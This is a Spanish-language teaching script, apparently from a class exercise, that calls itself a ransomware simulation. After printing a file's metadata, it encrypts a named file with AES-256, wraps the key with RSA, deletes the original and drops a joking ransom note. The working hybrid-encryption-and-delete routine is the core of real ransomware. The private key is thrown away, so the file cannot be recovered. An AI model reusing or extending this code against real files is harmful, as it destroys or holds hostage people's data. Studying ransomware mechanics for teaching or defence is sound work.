#Ejecución:
#python3.12 Aula_18_Abril_25_Ranson.py
#*************************************
import sys
# Importa el módulo 'sys' para acceder a detalles del sistema, como la versión de Python que utilizamos.
#En nuestro caso utilizamos la versión Python 3.12.2
import os
# Proporciona funciones para interactuar con el sistema operativo, como manipulación de archivos.
import stat
# Permite acceder a los atributos de los archivos (como permisos, UID, GID, etc.).
import time
# Sirve para trabajar con fechas y horas, por ejemplo, para mostrar la última modificación de un archivo.
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
# Importa herramientas para crear cifradores simétricos. Aquí se usará AES con modo CFB (Cipher Feedback).
"""
El modo CFB (Cipher Feedback) es uno de los modos de operación
que puede usarse con algoritmos de cifrado por bloques como AES.
Sirve para transformar un cifrado por bloques en un cifrado por flujo,
permitiendo cifrar datos que no son múltiplos exactos del tamaño del bloque
(como bytes sueltos o secuencias irregulares).
El modo CFB:
***********
-Es más seguro que ECB.
-No requiere relleno de bloques (como el modo CBC sí necesita).
-Permite cifrar flujo de datos "en tiempo real".
-Es muy útil para comunicaciones cifradas byte a byte, como chats o transmisiones.
"""
from cryptography.hazmat.primitives import serialization, hashes
# 'serialization' sirve para guardar y leer claves; 'hashes' para usar algoritmos de hash (como SHA256).
"""
SHA-256 significa Secure Hash Algorithm 256 bits,
y es una función hash criptográfica.
Eso quiere decir que toma cualquier entrada (texto, archivo, lo que sea)
y la convierte en una cadena fija de 256 bits (o 64 caracteres hexadecimales).
PRINCIPALES USOS:
****************
Verificación de integridad Asegura que un archivo o mensaje no fue alterado
Contraseñas Se guarda el hash de la contraseña, no la contraseña en sí
Blockchain Bitcoin y otras criptos usan SHA-256 para generar bloques y direcciones
Firmas digitales Forma parte de la estructura de muchos algoritmos de firma
"""
from cryptography.hazmat.primitives.asymmetric import rsa, padding
# Se usan para generar claves RSA (asimétricas) y para aplicar relleno al cifrar con RSA (OAEP).
from cryptography.hazmat.backends import default_backend
# Proporciona un backend criptográfico estándar requerido por la librería.
"""
La palabra backend (en español, parte trasera o detrás del escenario)
se refiere a la parte oculta de un sistema informático o una aplicación.
En un programa (o web, o app), el backend es:
Lo que procesa los datos.
Lo que maneja la lógica.
Lo que guarda cosas en bases de datos.
Lo que se comunica con servidores.
Lo que responde a las peticiones del usuario
(como si tú tocaras el timbre y el backend respondiera desde la cocina).
"""
from base64 import b64encode, b64decode
# Permite codificar y decodificar datos en Base64 (no usado directamente en este ejemplo, pero útil).
from pathlib import Path
# Proporciona una forma orientada a objetos de trabajar con rutas de archivos.
print(f"ESTOY UTILIZANDO ESTA VERSIÓN: {sys.version}")
# Muestra la versión de Python en ejecución. Sirve para diagnóstico o compatibilidad.
#PARTE 1: METADATOS DEL ARCHIVO:
def mostrar_info_archivo(path):
st = os.stat(path)
# Obtiene información del archivo: tamaño, permisos, fechas, etc.
print(f"\n Información del archivo: {path}")
# Imprime el nombre del archivo que se analizará.
print(f"Tamaño: {st.st_size} bytes")
# Muestra el tamaño en bytes.
print(f"Último acceso: {time.ctime(st.st_atime)}")
# Fecha y hora de último acceso.
print(f"Última modificación: {time.ctime(st.st_mtime)}")
# Fecha y hora de última modificación.
print(f"Creado: {time.ctime(st.st_ctime)}")
# Fecha de creación del archivo (en algunos sistemas, puede no ser confiable).
print(f"Permisos: {oct(st.st_mode)[-3:]}")
# Permisos del archivo en formato octal (por ejemplo, 644).
print(f"UID: {st.st_uid}, GID: {st.st_gid}")
# UID (usuario propietario) y GID (grupo propietario) del archivo.
#PARTE 2: SIMULACIÓN DE RANSOMWARE:
def generar_claves_rsa():
clave_privada = rsa.generate_private_key(
public_exponent=65537,
# Parámetro habitual para la clave pública. Un número primo común y seguro.
key_size=2048,
# Tamaño de la clave RSA. 2048 bits es considerado seguro.
backend=default_backend()
# Motor criptográfico por defecto.
)
clave_publica = clave_privada.public_key()
# Extrae la clave pública a partir de la privada.
return clave_privada, clave_publica
# Devuelve ambas claves: privada y pública.
def cifrar_con_aes(clave, iv, datos):
cipher = Cipher(algorithms.AES(clave), modes.CFB(iv), backend=default_backend())
# Crea un objeto cifrador AES usando modo CFB (Cipher Feedback) y un vector IV.
cifrador = cipher.encryptor()
# Inicializa el proceso de cifrado.
return cifrador.update(datos) + cifrador.finalize()
# Cifra los datos por bloques y termina el proceso.
def cifrar_archivo(path, clave_publica):
with open(path, "rb") as f:
datos = f.read()
# Abre el archivo original y lee su contenido binario.
from os import urandom
clave_aes = urandom(32)
# Genera una clave AES aleatoria de 32 bytes (AES-256).
iv = urandom(16)
# Genera un vector de inicialización (IV) de 16 bytes.
datos_cifrados = cifrar_con_aes(clave_aes, iv, datos)
# Cifra el contenido del archivo usando AES con la clave y el IV generados.
nombre_cifrado = path + ".margaCrypt"
# Define el nombre del archivo cifrado (agregando la extensión personalizada).
with open(nombre_cifrado, "wb") as f:
f.write(iv + datos_cifrados)
# Guarda el IV seguido de los datos cifrados en el nuevo archivo.
clave_aes_cifrada = clave_publica.encrypt(
clave_aes,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
# Generador de máscara usando SHA256.
algorithm=hashes.SHA256(),
# Algoritmo de hash para el cifrado.
label=None
)
)
# Cifra la clave AES con la clave pública RSA usando relleno OAEP seguro.
with open(nombre_cifrado + ".key", "wb") as f:
f.write(clave_aes_cifrada)
# Guarda la clave AES cifrada en un archivo con extensión ".key".
with open("_INSTRUCCIONES_PARA_RECUPERAR.txt", "w") as f:
f.write("Tus datos fueron secuestrados por MargaCrypt \n")
f.write("Para recuperarlos, debes pagar en cabritos jóvenes, preferiblemente lechales.\n")
f.write("Entrega: Plaza de los 8 caños, al caer la noche, sin hacer preguntas.\n")
f.write("O bien contáctanos en: cabritopagos@maldicion.onion\n")
f.write("—Y recuerda: la fe no te salvará, solo el cordero.\n")
# Crea una nota de rescate con tono humorístico y surrealista.
os.remove(path)
# Elimina el archivo original, simulando que ha sido "secuestrado".
print(f"\n Archivo cifrado como: {nombre_cifrado}")
# Muestra el nombre del archivo cifrado.
print(" Clave AES cifrada guardada en: " + nombre_cifrado + ".key")
# Muestra la ruta donde se guardó la clave cifrada.
print(" Nota de rescate generada.\n")
# Informa que se ha creado la nota de rescate.
#PROGRAMA PRINCIPAL:
nombre_archivo = "margarito.txt"
# Nombre del archivo que se quiere cifrar. Debe estar en el mismo directorio.
if not Path(nombre_archivo).exists():
print(f" El archivo '{nombre_archivo}' no existe.")
# Verifica si el archivo existe. Si no, lo notifica.
else:
mostrar_info_archivo(nombre_archivo)
# Muestra información sobre el archivo (metadatos).
clave_privada, clave_publica = generar_claves_rsa()
# Genera un par de claves RSA.
cifrar_archivo(nombre_archivo, clave_publica)
# Realiza el cifrado del archivo con la clave pública.
#PARTE 3: CONVERTIMOS A FORMATO PEM.
#**********************************
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
# Generar clave privada RSA
clave_privada = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
# Extraer la clave pública
clave_publica = clave_privada.public_key()
# Guardar la clave privada en un archivo PEM
with open("clave_privada.pem", "wb") as f:
f.write(clave_privada.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption()
))
# Guardar la clave pública en un archivo PEM
with open("clave_publica.pem", "wb") as f:
f.write(clave_publica.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
))
print(" Claves generadas y guardadas como 'clave_privada.pem' y 'clave_publica.pem'")
with open("clave_privada.pem", "wb") as f:
f.write(clave_privada.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption()
))
Comentarios sobre la versión: V-0 (0)
No hay comentarios